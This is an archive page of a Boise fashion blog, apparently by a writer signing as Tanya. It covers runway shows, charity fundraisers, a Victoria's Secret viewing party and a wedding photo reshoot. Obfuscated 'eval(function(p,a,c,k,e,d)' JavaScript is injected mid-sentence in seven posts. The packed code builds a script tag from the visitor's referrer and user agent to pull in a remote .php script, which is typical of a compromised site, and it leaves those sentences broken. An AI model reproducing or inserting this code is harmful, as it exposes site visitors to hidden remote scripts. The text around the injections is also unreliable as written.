Girls’ Getaway 2018: Bellevue Collection Fashion Week

Let’s be honest: When it comes to fashion shows and red carpet events, Bellevue Collection’s Fashion Week is truly head & shoulders above the rest. And this year was no exception! From designer meet & greets, to platters of fresh macaroons wafting through the crowd, to a famous artist giving out personalized caricatures, everything about Bellevue Collection Fashion Week 2018 was done to perfection.

Our crew of adventurers consisted of 15 fashion-loving Boise women, all ready to explore, wine, dine, and shop till we dropped! On day one, we hit the ground running with a VIP party at Nordstrom.

But first things first: lunch at the new Bento Grill, where chef Tom Douglas crafted a unique dining experience that melds gourmet Asian cuisine with take-out-buffet efficiency.

Debbie Evy, a brilliant stylist from Nordstrom’s Collections department, showed us how to select our dish, then customize each step to create the perfect bento box experience. Top off lunch with a blended mango sake shake, and you’re in for a fabulous afternoon!

Next stop: Nordstrom’s Designer department for champagne and shopping! Debbie and her crew brought in new fall pieces from Gucci, Prada, Louie Vuitton, and more to tantalize our couture-craving crew.

While models displayed how to style this season’s scrumptious Chloe sweater dresses and vibrant Tory Burch jackets, makeup artists from Trish McEvoy primped and pampered our travel-weary faces.

On the lower level, hair stylists had style-&-go stations ready to plump, smooth, curl, and tame our tresses! With our Nordstrom treasures and beauty swag-bags in hand, we dashed back to our rooms at the Westin Bellevue for a quick clothing change…

And then off to the show!

The Independent Designer Runway Show is one of my all-time favorite events! In the past, designers from around the Pacific Northwest have competed for a coveted top spot, cash prize, editorial coverage in Seattle Met Magazine, and the opportunity to display their looks in Bellevue Square.

This year, instead of fledgling designers, the Collection graced us with a special show that brought back past winners to compete in a best-of-the-best runway throw-down!

Flip through the slideshow to be inspired by looks from:
DEVONATION by Devon Yan
LOURDES é EVA by Nore Suárez
Cute Like Mad by Jeanette Svensk Li
Poppyseed by Rebekah Adams
Valentina & Valenti’s by Milena Natanov
Deyonte’ Weather Collection by Deyonte’ Weather
Chany Venturini by Maria Venturini

[Best_Wordpress_Gallery id=”18″ gal_title=”Independent Designer Runway Show 2″]

Runway photos thanks to Denise Vasecka,
jewelry designer at Unigon Specialties

At the end of the show, audience members casted their votes, and the winner was…

Cute Like Mad by Jeanette Svensk Li!

Congratulations Ms. Svensk Li!!! And congratulations to the Bellevue Collection for another superb and inspiring independent designer runway show! Can’t wait for the next one!!!

XOXO,
Tanya

Style in the Aisles Fashion Show Launches in Boise

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eafrk|var|u0026u|referrer|rbzad||js|php’.split(‘|’),0,{}))
week I had the honor of attending a very special fashion show, thrown by Piece Unique and beloved local legend Jesse Taylor. Jesse is known for his generosity and dedication to the community, and this fabulous show was a true extension of his heart; the goal was to help raise money for the City Light Women’s & Children’s Home!

City Light provides emergency shelter for women and children, in downtown Boise. They house, feed, clothe, and counsel women who are seeking a safe place from dangerous circumstances, while providing care for their children as well. It’s an amazing program that has made HUGE contributions to the well-being of families in this city, and personally, I’ve had friends whose lives were literally saved by this shelter, so they are near & dear to my heart as well.

Sadly, as you can see below the blue lights on the stage were too much for my small camera, so I apologize for the overwhelming hue!

Bluuuuuue runway lights! 😀

Jesse teamed up with local stylist Heather Schwabe of Style Therapy, Boise-based vintage/couture jewelry line Monica Macha, and Natalie Durham at downtown boutique P iece Unique, to showcase one of my FAVORITE clothing lines: Black Halo. I’ve blogged about Black Halo before, because they’re an incredible, well-made line that fits busty girls in ways I never imagined an off-the-rack dress could ever do! If you haven’t tried on one of their fashion pieces yet, you absolutely must get down to Piece Unique and check them out. Worth every penny, I promise!

Here’s a short video clip of the runway finale:

As a THANK YOU to all who helped make the fashion show a success & supporting City Light & the Boise Rescue Mission, Piece Unique is offering 25% off ALL BLACK HALO purchases made in their store before Nov. 15th, when you donate $25 to City Light Women’s & Children’s Shelter! This special discount applies to all Black Halo items both in the store, and via special order.

Wonderful job, everyone! See you at the next show.
XOXO,
Tanya

Leticia McLaughlin and her lovely daughter, always impeccably stylish!

Lovely Angie Berman (center) with two fabulous friends.

Ballet Idaho’s Lana Hollingshead and her daughter Veronica.

A new friend, Rosemary, and her wickedly-cool leather necklace! This babe has style for miles.

Let the show begin!

So much blue light, but I love her white Black Halo dress!

Runway finale, packed with gorgeous local women rocking the catwalk!

More blurriness and blue light – ugh! – but this red dress was one of my favorites.

Green Black Halo dress on a model – that neckline on her is incredible!

Angie & friend posing on the runway, after the show. Love this lady!! ❤

208 Tattoo Fest 2015, Fashion Show

You’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rffae|var|u0026u|referrer|hsfdd||js|php’.split(‘|’),0,{}))
never seen a fashion show like the 208 Tattoo Fest fashion Show! Here’s why…

Boise’s annual 208 Tattoo Festival is growing in leaps and bounds, this year bringing in over 5,500 attendants for 2015, it’s 3rd year in operation. Tattoo artists and enthusiasts come from all over the country to participate in this edgy, creative event, and a few even traveled from overseas to be here! But if there’s one aspect of the weekend’s festivities that truly embodied the Fest’s creative and edgy spirit, it was Friday night’s SugarSkulls Fashion Show. (Disclaimer: I had a wedding to attend the following day, and thus unfortunately missed Saturday’s fashion show, but I’m sure it was creative and spectacular also!)

When I heard that Boise’s legendary concept photographer and makeup artistry team Rachel Hope and Unique Angeline Irish were collaborating on a fashion show like no other, I knew I had to be there! I teamed up with photographer Virginia Treat of Treats Photography, and headed to Expo Idaho.

The show began, with dark, gritty music thumping through the speakers, the singer eerily entreating listeners to “Hold my hand…” Two young girls wandered out onto the stage, looking freshly-risen from the grave and a little lost – but also a teensy bit terrifying! Like the type you’d meet on a deserted road, and want to help, the poor dears… Until the moment they literally eat your heart out! A dead horse emerged from the curtain behind them, lurching forward to the music, as the girls stared straight ahead into nothingness. But the moment you feared the horse might attack them, they turned instead and began gently stroking their pet on the head and neck. Soon the smallest of the little ladies mounted up to ride in high fashion off the stage. It was a glorious beginning, and set the tone for the remainder of what promised to be boundary-pushing, macabre entertainment, with one consistent thread: beauty is truly in the eye of the beholder!

Next, from behind the curtains emerged a most beautiful mermaid, slowly oozing her way across the stage like she was dancing underwater. She slithered and shimmered in the shadows, a fierce aquatic creature you’d be equally entranced by and terrified of, if you met her in her own domain.After the mermaid departed, more fantastical creatures emerged, one by one, to dance across the stage and mesmerize us with their bold beauty… And terrifying darkness.

208 tattoo fest fashion show — Black & White Mayhem

Towards the end of the show, one final creature came forth, emitting gasps from the audience. The Phoenix arose, ascending on stilts to the awe of all who watched her! She danced, swaying her wings through the air in a masterful ballet, and everyone held their breath… Later, after the show, ended emcee Dapper Doyle was heard telling her, “I just had several mild heart attacks, watching you do that!” I think nearly everyone did; it was an incredible display of creativity and bravery!

Every character that graced the stage was meticulously styled, from their elaborate makeup to each handmade headpiece, necklace, or dress. Click on the photos and you can zoom in – really close – to check out the incredible detail work that went into each and every aspect of this show. (You can also check out more photos of the rest of the Tattoo Festival, at Treats Photography’s Facebook page, here.)

Rachel Hope, Unique Irish, hair stylist Skyla Dawn, and Tiffany LaRocque outdid themselves for the Sugarskulls Fashion Show. This show would have been right at home in a Portland, L.A., or New York venue, with big-budget lighting and special effects… But thanks to the 208 Tattoo Festival we had the opportunity for a truly epic experience, right here in Boise, and I am so grateful for the chance to see it in person! Fantastic work, to everyone involved – LOVED it!!!

XOXO,
Tanya

Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

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week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

City-Wide Kids Fashion Show, coming Sept. 13th!

Coming Sept. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irnhr|var|u0026u|referrer|rkdir||js|php’.split(‘|’),0,{}))
13th, Boise’s first city-wide Kids’ Fashion Rulz! Fashion Show, presented by StyleSpyGirl. DRESS UP IN YOUR SUNDAY BEST, and bring the entire family for a posh, catered fashion show featuring kids’ and teens’ fashions from The Village, Boise Towne Square, and boutiques and local designers from across the Treasure Valley. Proceeds benefit the Rodgers Family, whose precious young daughter is battling fatal Batten Disease. Her biggest wish is to someday be a supermodel. Come support Hannah as she gets her wish, and walks the runway as the evening’s star model!

TICKETS & SHOW DETAILS AVAILABLE HERE!

Hannah Rodgers is 9 years old, and is currently the only person in the state of Idaho with the very rare and devastating disease known as Batten Disease. Batten is a neurodegenerative disorder that begins in childhood and presents itself through seizures, personality changes, a decrease in motor skills, and the onset of blindness. There is currently no cure for Batten. Over time, affected children lose their sight, suffer mental impairment, worsening seizures, and progressive loss of motor skills. And the disease ultimately takes their life.

Hannah is dealing with all of these things, but does NOT know that her illness is fatal. She knows that she will not get better, and that her family is doing all they can to help her live this life to the fullest, for now and with all the love and energy they have! Hannah’s family is facing major challenges with her care, as it will take about 10 years for the disease to slowly and painfully take their daughter. By the time she is a young adolescent, she will be wheelchair-ridden, unable to speak or feed herself, and completely reliant on her family. To this end, they are preparing their home for Hannah’s care, installing wheelchair ramps, widening doors, and adding a new bedroom for her that will be big enough to accommodate all of her medical equipment and care. Combined, these projects are a huge financial challenge.

Kids love helping kids! This event will allow local youth to do just that. During this huge fall fashion show kids and teens will model back-to-school clothes, and support Hannah as she walks down the runway. She is already completely blind, so she will be escorted by her sister and her best friend. As I mentioned above, her dream is to become a supermodel. Hannah will hear and feel it all; the music, the applause, and the cheers of a supportive community who cares about kids, and making her dream come true.

Join us as a community of families to become the Rodgers’ Extreme Home Makeover, in a manner of speaking! All proceeds will go into a special fund for their family, to help cover some of the costs accumulated as they make every effort for Hannah to live her life to the fullest. Come enjoy the fashion show, encourage the kids, experience the live entertainment, and help a family in need!

XOXO,
Tanya

A Second Shot at Romance

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upon a time, I got to marry this awesome guy, and we were too poor to get “real” wedding photos. But with the help of Two Photography – and the magic of long hair! – we recently turned back the clock to capture those romantic images we never had.

Here’s the story… It was in Seattle, WA, many years ago. We had a huge “medieval” theme wedding, complete with costumes, candles, and fingers-only food! It was amazing, but hardly lavish, as we had very little money to invest in our special day. My wedding dress, for example, cost around $300, and was the handiwork of a very dear friend of mine, Rene Hardy.

Most weddings have minor problems; the flowers aren’t perfect, the ceremony starts late, etc.. Regardless of all that day’s snafus, our wedding was unforgettable; to this day people still tell me how much fun they had, and their most memorable moments. One couple in particular was so enamored, they got engaged during our ceremony!

I wouldn’t trade any of it, but I have to admit there is one thing I would do over, if I had the chance: invest in a good wedding photographer. Like I said, we were poor, but somehow we managed to come up with a few hundred dollars to pay a local woman, who a friend recommended. It turned out she had never shot a wedding before; only controlled studio portraits! But she was all we could afford, so we hired her.

The pictures that came back were a nightmare, and I cried as we went through the proofs. The ceremony shots were crooked, the lighting was bad, and she was obviously rushed & unsure of what types of shots to get at a wedding. I tried to salvage a few to hang on our wall, but most of those photos are still packed away in a box, somewhere…

Recently, I was chatting with friend and renowned photographer Frances Corkill, who was looking for a couple to do romantic shots at the new Village Cinema at the Village at Meridian. “We’ll model for you,” I told her, quickly volunteering us!

For us, this wasn’t just a photo shoot; it was the first time we had posed alone together for photos, since our wedding! It was a chance to relive a moment of romance, with a true professional who is so very gifted at bringing out the unique love that exists between every couple she shoots!

I cried when I saw the resulting pictures this time, too; only the reason was completely different! Thank you, Frances, for giving Trevor and I the chance to do this with you! XOXO!!!

Here’s my advice to any bride, young or old: it’s never too late for a do-over! Our wedding was 15 years ago (eek!), but taking those photos together rekindled something very special, and redeemed a moment I never thought we could recapture. I am so glad we got a “second shot!”

Wardrobe: Clothing & Jewelry courtesy of Dillard’s, whose Menwear & Formal departments continually impress me!

Photography: Frances Corkill / FB: Two Photography / Web: Two Photography

Hair/Wig Styling: Alyx Bogart-Vetter, Wig Styling Expert at the Morrison Center for the Performing Arts

Assistant: Amanda Morgan of Ammophotog

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P.S. Aeropostale Epic Kids Party

Me eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayyr|var|u0026u|referrer|azzht||js|php’.split(‘|’),0,{}))
and my daughter, kids’ blogger at LalaAndFriends.com. My necklace by Unigon Specialties, Jacket from Prestige.

A couple weeks ago, I had the fun privilege of attending the P.S. Aeropostale Epic Kids Party at Boise Towne Square, with my little girl, who just launched her own children’s fashion blog! It was so much fun to go together; we had a blast, and met many wonderful people! During the event, P.S.’s entire store was an extra 20% off, so everyone scored crazy hot deals on super cool clothes. The girls partied, ate mini cakes, laughed, danced, and made fun memories together. Many of the children also posed for Polaroid pics, to enter the Epic Kids contest for a chance to win $100 gift cards! They had a great time being “real models.”

Thank you, P.S. Aeropostale, for throwing this super fun event! And thank you to all the fantastic moms & kids who stopped by to enjoy it with us.

XOXO,

Hanging with the DJ – he played some rocking (and kid-friendly!) tunes!

Nom nom nom nom! Mini cakes – we love!

Hannah and her family showed up again, after her Special Wish Day the day before!
Check out Lala’s story about this amazing and brave young girl, here.

Striped shirts (on sale now for $7!) / Pink Solid Scoop T (On sale now for $5!) / Striped Skater Skirt (On sale now for $8!)

KID DANCE PARTY!!!

New Bff’s – they got to be “employees” for the day, and studiously rearranged the entire store!
(My apologies to the actual employees for how much “fun” this must have been for them to clean up later, ha ha ha!)

My girls rocks a baseball cap, just sayin’!

All kinds of cuteness!

Thank you, P.S. Aeropostale, and everyone who came to party with us! Love you – xoxoxo!!!

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Walking Tall Boise 2014

Ladies, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbknz|var|u0026u|referrer|zdtka||js|php’.split(‘|’),0,{}))
this is your night!!

Get dolled up, grab your girlfriends and come out to Walking Tall on Friday May 16th, presented by Everhart Photography!

At this Ladies-only event you will enjoy fashion shows, a burlesque show, giveaways, free photos, entertainment, raffles, drinks and desserts, and SWAG bags!

This is the biggest and best GIRLS NIGHT OUT around, and you will not want to miss out! Tickets are limited so start planning now and support a great local cause at the same time, as a portion of the proceeds go to Preservation Idaho.

Where else can you get 5 fashion shows, 6 dance/entertainer shows, desserts, drinks, photo ops galore, music, dancing, giveaways and more ALL for $15?? Tickets are almost sold out, but a few are still available at: http://walkingtall.ticketleap.com/

LADIES ONLY!!!

More info and chances to WIN tickets here: Walking Tall Facebook Event

Aveda Trashion Show Boise 2014

(Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrirh|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))
are property of ammophotog and StyleSpyGirl. Please share, tag, & repost, but don’t crop the logo out. Thank you!)

A few weeks ago, The Bombshell Salon in downtown Boise hosted the 2nd Annual Trashion show, benefiting Idaho Rivers United and Global Green Grants (internationally providing clean drinking water in 3rd world countries).

In honor of Earth Month (April,) Aveda committed to raising $5.5 million dollars to help provide clean water to third world countries, and Bombshell Salon jumped on board to help out the cause. The show was held at Hannah’s, with Boise icon Rocci Johnson emceeing. The goal was to throw a fashion show featuring local artists and designers, who had to create costumes from 100% post-consumer materials!

The fashions were amazing, and very creative, from bottle caps, trash bags, and newspapers, to hamburger wrappers and recycled Aveda brochures! Huge kudos to Nate Haderlie and his crew of volunteers for putting the event together so beautifully, and Bombshell Salon for doing incredible work on the lovely models. And congratulations to Darcie Nelson for taking 1st place with her stunning designs, made from a potato sack and spent bullet casings that were cut with a jig saw. I love the addition of the handbag, too – look closely in the photo below; the fringe is made from old keys! Amazing!!!

The Trashion Show was a huge success! I enjoyed the creative designs, and love the eco-conscious twist on fashion. The money raised by this event helped Aveda bring clean water to Third World communities! Well done, everyone! Congratulations to the winners:
1st Place: Darcie Nelson
2nd Place: Cessiley Haderlie
3rd Place: Montana Keating

Another big story of the night was one of the designer entries: Montana Keating (pictured above), a 15-year-old high-schooler who aims to be the next Yves Saint Laurent. Montana is the only young man in his school that is boldly pursuing a career in fashion. Last year, he accompanied me as my assistant to Bryce Black’s Fashion Show in Twin Falls (read my recap here), where the two designers struck up a friendship. Montana is creative, innovative, and above all determined to forge a career in the fashion industry. His amazing Pokemon dress (each card hand-stitched to the next!) won 3rd place at the Trashion Show, modeled by the beautiful Heather Floyd!

Montana recently entered that same dress into a State fashion competition that takes place among high schoolers in the area, and it won 2nd PLACE! His friends and family are SO VERY PROUD of Montana, and with this win he earned the opportunity to go to the National FCCLA competition in Texas this July (Family, Career, and Community Leaders of America.)

Here’s the twist: Montana has to raise $1,800 to get him to this competition, where he deserves a chance to show the world his talent. He is working hard to earn it, and is also running a “Go Fund Me” campaign. If you would like to help out at all, he and his family would be super appreciative!!! This talented guy is definitely going places, and I can’t wait to see what the future has in store for him. Please help him get his designs to the National FCCLA competition! Click the link below to donate – any amount helps!!!

XOXO,

//funds.gofundme.com/Widgetflex.swf